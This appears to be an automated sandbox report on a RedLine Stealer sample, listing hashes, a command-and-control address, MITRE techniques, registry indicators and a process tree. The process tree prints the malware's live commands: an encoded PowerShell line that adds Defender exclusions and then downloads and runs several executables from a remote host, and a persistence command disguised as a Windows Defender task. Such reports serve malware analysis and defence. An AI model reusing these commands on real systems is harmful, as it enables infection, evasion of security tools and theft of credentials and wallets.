redline | b4968767ee9f8c1ae309d7f8a8f4c9cff847a81d46d021608add9de06a4ba965

Analysis

max time kernel
59s
max time network
106s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
27/01/2023, 13:00

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General

Target
c565f71f426a913c738310198a01654ed930dd09.exe
Size 361KB
Sample230127-p8metsba34
SHA256 b4968767ee9f8c1ae309d7f8a8f4c9cff847a81d46d021608add9de06a4ba965
MD5 0d356ea4776618c8018b385e50720061
SHA1 c565f71f426a913c738310198a01654ed930dd09
SHA512 68a17800b2f2fefb5e5f28c2d1639989361f158c53dcc5e7c6ca49b61e7eabc1343b0e91ca8bdba1febfac33cc92ad84a6daf94acae9abf8470a722a91db7268
SSDEEP 6144:/iN9Ozs7npw4ngtJ5kJ+w4UhclWqDzEgvDv8LGB3JBVvidaGExXAO+DzyM7+Hc:/iqzs7nNg35kJ+wJhcgqDzLbvBBxvxXw
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

redline 1 evasion infostealer spyware

Malware Config

Extracted

Family

redline

Botnet

107.182.129.73:21733

Attributes

auth_value
3a5bb0917495b4312d052a0b8977d2bb

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 1 IoCs

resource	yara_rule
behavioral2/memory/2840-168-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

description	pid	Process	procid_target
PID 3380 created 2600	3380	SmartDefRun.exe	28
PID 3380 created 2600	3380	SmartDefRun.exe	28
PID 3380 created 2600	3380	SmartDefRun.exe	28
PID 3380 created 2600	3380	SmartDefRun.exe	28
PID 4888 created 588	4888	powershell.EXE	3

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	2544	powershell.exe
14	2544	powershell.exe

Downloads MZ/PE file

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts	SmartDefRun.exe

Executes dropped EXE 3 IoCs

pid	Process
4648	new2.exe
3564	SysApp.exe
3380	SmartDefRun.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 4800 set thread context of 4680	4800	c565f71f426a913c738310198a01654ed930dd09.exe	80
PID 4648 set thread context of 2840	4648	new2.exe	90
PID 3380 set thread context of 3408	3380	SmartDefRun.exe	115
PID 4888 set thread context of 2064	4888	powershell.EXE	120

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe	SmartDefRun.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4932	sc.exe
3208	sc.exe
3420	sc.exe
2492	sc.exe
3012	sc.exe

Program crash 2 IoCs

pid	pid_target	Process	procid_target
1564	4800	WerFault.exe	78
3628	4648	WerFault.exe	87

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
2544	powershell.exe
2544	powershell.exe
3564	SysApp.exe
3564	SysApp.exe
3564	SysApp.exe
3564	SysApp.exe
3564	SysApp.exe
3564	SysApp.exe
3564	SysApp.exe
3564	SysApp.exe
3564	SysApp.exe
3564	SysApp.exe
2840	vbc.exe
3380	SmartDefRun.exe
3380	SmartDefRun.exe
2164	powershell.exe
2164	powershell.exe
3380	SmartDefRun.exe
3380	SmartDefRun.exe
3380	SmartDefRun.exe
3380	SmartDefRun.exe
3860	powershell.exe
3860	powershell.exe
3380	SmartDefRun.exe
3380	SmartDefRun.exe
4888	powershell.EXE
5028	powershell.EXE
4888	powershell.EXE
5028	powershell.EXE
4888	powershell.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2544	powershell.exe
Token: SeDebugPrivilege	2840	vbc.exe
Token: SeDebugPrivilege	2164	powershell.exe
Token: SeDebugPrivilege	3860	powershell.exe
Token: SeIncreaseQuotaPrivilege	3860	powershell.exe
Token: SeSecurityPrivilege	3860	powershell.exe
Token: SeTakeOwnershipPrivilege	3860	powershell.exe
Token: SeLoadDriverPrivilege	3860	powershell.exe
Token: SeSystemProfilePrivilege	3860	powershell.exe
Token: SeSystemtimePrivilege	3860	powershell.exe
Token: SeProfSingleProcessPrivilege	3860	powershell.exe
Token: SeIncBasePriorityPrivilege	3860	powershell.exe
Token: SeCreatePagefilePrivilege	3860	powershell.exe
Token: SeBackupPrivilege	3860	powershell.exe
Token: SeRestorePrivilege	3860	powershell.exe
Token: SeShutdownPrivilege	3860	powershell.exe
Token: SeDebugPrivilege	3860	powershell.exe
Token: SeSystemEnvironmentPrivilege	3860	powershell.exe
Token: SeRemoteShutdownPrivilege	3860	powershell.exe
Token: SeUndockPrivilege	3860	powershell.exe
Token: SeManageVolumePrivilege	3860	powershell.exe
Token: 33	3860	powershell.exe
Token: 34	3860	powershell.exe
Token: 35	3860	powershell.exe
Token: 36	3860	powershell.exe
Token: SeIncreaseQuotaPrivilege	3860	powershell.exe
Token: SeSecurityPrivilege	3860	powershell.exe
Token: SeTakeOwnershipPrivilege	3860	powershell.exe
Token: SeLoadDriverPrivilege	3860	powershell.exe
Token: SeSystemProfilePrivilege	3860	powershell.exe
Token: SeSystemtimePrivilege	3860	powershell.exe
Token: SeProfSingleProcessPrivilege	3860	powershell.exe
Token: SeIncBasePriorityPrivilege	3860	powershell.exe
Token: SeCreatePagefilePrivilege	3860	powershell.exe
Token: SeBackupPrivilege	3860	powershell.exe
Token: SeRestorePrivilege	3860	powershell.exe
Token: SeShutdownPrivilege	3860	powershell.exe
Token: SeDebugPrivilege	3860	powershell.exe
Token: SeSystemEnvironmentPrivilege	3860	powershell.exe
Token: SeRemoteShutdownPrivilege	3860	powershell.exe
Token: SeUndockPrivilege	3860	powershell.exe
Token: SeManageVolumePrivilege	3860	powershell.exe
Token: 33	3860	powershell.exe
Token: 34	3860	powershell.exe
Token: 35	3860	powershell.exe
Token: 36	3860	powershell.exe
Token: SeIncreaseQuotaPrivilege	3860	powershell.exe
Token: SeSecurityPrivilege	3860	powershell.exe
Token: SeTakeOwnershipPrivilege	3860	powershell.exe
Token: SeLoadDriverPrivilege	3860	powershell.exe
Token: SeSystemProfilePrivilege	3860	powershell.exe
Token: SeSystemtimePrivilege	3860	powershell.exe
Token: SeProfSingleProcessPrivilege	3860	powershell.exe
Token: SeIncBasePriorityPrivilege	3860	powershell.exe
Token: SeCreatePagefilePrivilege	3860	powershell.exe
Token: SeBackupPrivilege	3860	powershell.exe
Token: SeRestorePrivilege	3860	powershell.exe
Token: SeShutdownPrivilege	3860	powershell.exe
Token: SeDebugPrivilege	3860	powershell.exe
Token: SeSystemEnvironmentPrivilege	3860	powershell.exe
Token: SeRemoteShutdownPrivilege	3860	powershell.exe
Token: SeUndockPrivilege	3860	powershell.exe
Token: SeManageVolumePrivilege	3860	powershell.exe
Token: 33	3860	powershell.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 4800 wrote to memory of 4680	4800	c565f71f426a913c738310198a01654ed930dd09.exe	80
PID 4800 wrote to memory of 4680	4800	c565f71f426a913c738310198a01654ed930dd09.exe	80
PID 4800 wrote to memory of 4680	4800	c565f71f426a913c738310198a01654ed930dd09.exe	80
PID 4800 wrote to memory of 4680	4800	c565f71f426a913c738310198a01654ed930dd09.exe	80
PID 4800 wrote to memory of 4680	4800	c565f71f426a913c738310198a01654ed930dd09.exe	80
PID 4680 wrote to memory of 2544	4680	vbc.exe	83
PID 4680 wrote to memory of 2544	4680	vbc.exe	83
PID 4680 wrote to memory of 2544	4680	vbc.exe	83
PID 2544 wrote to memory of 4648	2544	powershell.exe	87
PID 2544 wrote to memory of 4648	2544	powershell.exe	87
PID 2544 wrote to memory of 4648	2544	powershell.exe	87
PID 2544 wrote to memory of 3564	2544	powershell.exe	88
PID 2544 wrote to memory of 3564	2544	powershell.exe	88
PID 2544 wrote to memory of 3564	2544	powershell.exe	88
PID 2544 wrote to memory of 3380	2544	powershell.exe	89
PID 2544 wrote to memory of 3380	2544	powershell.exe	89
PID 4648 wrote to memory of 2840	4648	new2.exe	90
PID 4648 wrote to memory of 2840	4648	new2.exe	90
PID 4648 wrote to memory of 2840	4648	new2.exe	90
PID 4648 wrote to memory of 2840	4648	new2.exe	90
PID 4648 wrote to memory of 2840	4648	new2.exe	90
PID 5076 wrote to memory of 2492	5076	cmd.exe	104
PID 5076 wrote to memory of 2492	5076	cmd.exe	104
PID 5076 wrote to memory of 3012	5076	cmd.exe	106
PID 5076 wrote to memory of 3012	5076	cmd.exe	106
PID 5076 wrote to memory of 4932	5076	cmd.exe	107
PID 5076 wrote to memory of 4932	5076	cmd.exe	107
PID 5076 wrote to memory of 3208	5076	cmd.exe	108
PID 5076 wrote to memory of 3208	5076	cmd.exe	108
PID 5076 wrote to memory of 3420	5076	cmd.exe	109
PID 5076 wrote to memory of 3420	5076	cmd.exe	109
PID 5076 wrote to memory of 3484	5076	cmd.exe	110
PID 5076 wrote to memory of 3484	5076	cmd.exe	110
PID 5076 wrote to memory of 3204	5076	cmd.exe	111
PID 5076 wrote to memory of 3204	5076	cmd.exe	111
PID 5076 wrote to memory of 3184	5076	cmd.exe	112
PID 5076 wrote to memory of 3184	5076	cmd.exe	112
PID 5076 wrote to memory of 4044	5076	cmd.exe	113
PID 5076 wrote to memory of 4044	5076	cmd.exe	113
PID 5076 wrote to memory of 4748	5076	cmd.exe	114
PID 5076 wrote to memory of 4748	5076	cmd.exe	114
PID 3380 wrote to memory of 3408	3380	SmartDefRun.exe	115
PID 4888 wrote to memory of 2064	4888	powershell.EXE	120
PID 4888 wrote to memory of 2064	4888	powershell.EXE	120
PID 4888 wrote to memory of 2064	4888	powershell.EXE	120
PID 4888 wrote to memory of 2064	4888	powershell.EXE	120
PID 4888 wrote to memory of 2064	4888	powershell.EXE	120
PID 4888 wrote to memory of 2064	4888	powershell.EXE	120
PID 4888 wrote to memory of 2064	4888	powershell.EXE	120
PID 4888 wrote to memory of 2064	4888	powershell.EXE	120
PID 4888 wrote to memory of 2064	4888	powershell.EXE	120

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:588
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{63e056d0-340b-4e51-8cc4-4576b83b5a25}
  2⤵
  PID:2064

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:2600
- C:\Users\Admin\AppData\Local\Temp\c565f71f426a913c738310198a01654ed930dd09.exe
  "C:\Users\Admin\AppData\Local\Temp\c565f71f426a913c738310198a01654ed930dd09.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:4800
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4680
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2544
    - - C:\Users\Admin\AppData\Local\Temp\new2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\new2.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:4648
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2840
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4648 -s 236
        6⤵
        Program crash
        
        PID:3628
    - - C:\Users\Admin\AppData\Local\Temp\SysApp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:3564
    - - C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Drops file in Drivers directory
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Drops file in Program Files directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3380
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4800 -s 288
    3⤵
    - Program crash
    PID:1564
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2164
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3860
- C:\Windows\System32\cmd.exe
